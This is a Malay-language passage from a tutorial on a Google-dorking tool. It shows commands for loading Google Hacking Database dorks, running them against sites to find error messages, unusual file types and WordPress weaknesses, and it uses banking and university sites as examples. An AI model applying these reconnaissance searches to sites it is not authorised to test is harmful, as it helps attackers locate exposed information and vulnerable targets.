    Senarai dorks dan tapak boleh ditentukan sama ada melalui hujah atau melalui fail.

    Demonstrasi kerja
    Mari cuba cari sebarang kelemahan menggunakan contoh mencari mesej ralat. Dengan arahan: dorks ghdb –c 7 –o errors.dorks semua dorks yang diketahui bagi kategori “Mesej Ralat” akan dimuatkan seperti yang ditunjukkan dalam Rajah 3.


    Rajah 3 – Memuatkan semua dorks yang diketahui bagi kategori “Mesej Ralat”.

    Dorks dimuat turun dan disimpan ke fail. Sekarang yang tinggal hanyalah untuk "menetapkan" mereka pada beberapa tapak (lihat Rajah 4).


    Rajah 4 – Cari kelemahan tapak yang diminati dalam cache Google

    Selepas beberapa lama, beberapa halaman yang mengandungi ralat ditemui di tapak yang sedang dikaji (lihat Rajah 5).


    Rajah 5 – Mesej ralat ditemui

    Akibatnya, dalam fail result.txt kami mendapat senarai lengkap dorks yang membawa kepada ralat.
    Rajah 6 menunjukkan hasil carian ralat tapak.

    Rajah 6 – Hasil carian ralat

    Dalam cache untuk dork ini, jejak belakang lengkap dipaparkan, mendedahkan laluan mutlak skrip, sistem pengurusan kandungan tapak dan jenis pangkalan data (lihat Rajah 7).


    Rajah 7 – pendedahan maklumat tentang reka bentuk tapak

    Walau bagaimanapun, perlu dipertimbangkan bahawa tidak semua dorks dari GHDB memberikan hasil yang benar. Selain itu, Google mungkin tidak menemui padanan tepat dan menunjukkan hasil yang serupa.

    Dalam kes ini, adalah lebih bijak untuk menggunakan senarai dorks peribadi anda. Sebagai contoh, ia sentiasa bernilai mencari fail dengan sambungan "luar biasa", contoh yang ditunjukkan dalam Rajah 8.


    Rajah 8 – Senarai sambungan fail yang bukan tipikal untuk sumber web biasa

    Akibatnya, dengan arahan dorks google –D extensions.txt –f bank, dari permintaan pertama Google mula mengembalikan tapak dengan sambungan fail “luar biasa” (lihat Rajah 9).


    Rajah 9 – Cari jenis fail “buruk” di tapak web perbankan

    Perlu diingat bahawa Google tidak menerima pertanyaan yang lebih panjang daripada 32 perkataan.

    Menggunakan arahan dorks google –d intext:”ralat|amaran|notis|sintaks” –f universiti
    Anda boleh mencari ralat jurubahasa PHP pada tapak web pendidikan (lihat Rajah 10).


    Rajah 10 – Mencari ralat masa jalan PHP

    Kadang-kadang tidak mudah untuk menggunakan satu atau dua kategori dorks.
    Sebagai contoh, jika diketahui bahawa tapak tersebut berjalan pada enjin Wordpress, maka kami memerlukan modul khusus WordPress. Dalam kes ini, adalah mudah untuk menggunakan carian Pangkalan Data Google Hack. Perintah dorks ghdb –q wordpress –o wordpress_dorks.txt akan memuat turun semua dorks dari Wordpress, seperti yang ditunjukkan dalam Rajah 11:


    Rajah 11 – Cari Dorks yang berkaitan dengan Wordpress

    Mari kembali ke bank sekali lagi dan gunakan arahan dorks google –D wordpress_dords.txt –f bank untuk cuba mencari sesuatu yang menarik berkaitan Wordpress (lihat Rajah 12).


    Rajah 12 – Cari kelemahan Wordpress

    Perlu diingat bahawa carian di Pangkalan Data Hack Google tidak menerima perkataan yang lebih pendek daripada 4 aksara. Contohnya, jika CMS tapak tidak diketahui, tetapi bahasanya diketahui - PHP. Dalam kes ini, anda boleh menapis perkara yang anda perlukan secara manual menggunakan paip dan utiliti carian sistem dorks –c all | findstr /I php > php_dorks.txt (lihat Rajah 13):


    Rajah 13 – Cari semua dorks di mana PHP disebut

    Mencari kelemahan atau beberapa maklumat sensitif dalam enjin carian hanya perlu dilakukan jika terdapat indeks yang ketara di tapak ini. Sebagai contoh, jika tapak mempunyai 10-15 halaman diindeks, maka adalah bodoh untuk mencari apa-apa dengan cara ini. Menyemak saiz indeks adalah mudah - hanya masukkan "site:somesite.com" ke dalam bar carian Google. Contoh tapak dengan indeks yang tidak mencukupi ditunjukkan dalam Rajah 14.


    Rajah 14 – Menyemak saiz indeks tapak

    Sekarang tentang yang tidak menyenangkan... Dari semasa ke semasa Google mungkin meminta captcha - tiada apa yang boleh anda lakukan mengenainya - anda perlu memasukkannya. Contohnya, apabila mencari melalui kategori "Mesej Ralat" (90 dorks), captcha muncul sekali sahaja.

    Perlu ditambah bahawa phantomjs juga menyokong kerja melalui proksi, baik melalui http dan antara muka stokin. Untuk mendayakan mod proksi, anda perlu menyahkomen baris yang sepadan dalam dorks.bat atau dorks.sh.

    Alat ini tersedia sebagai kod sumber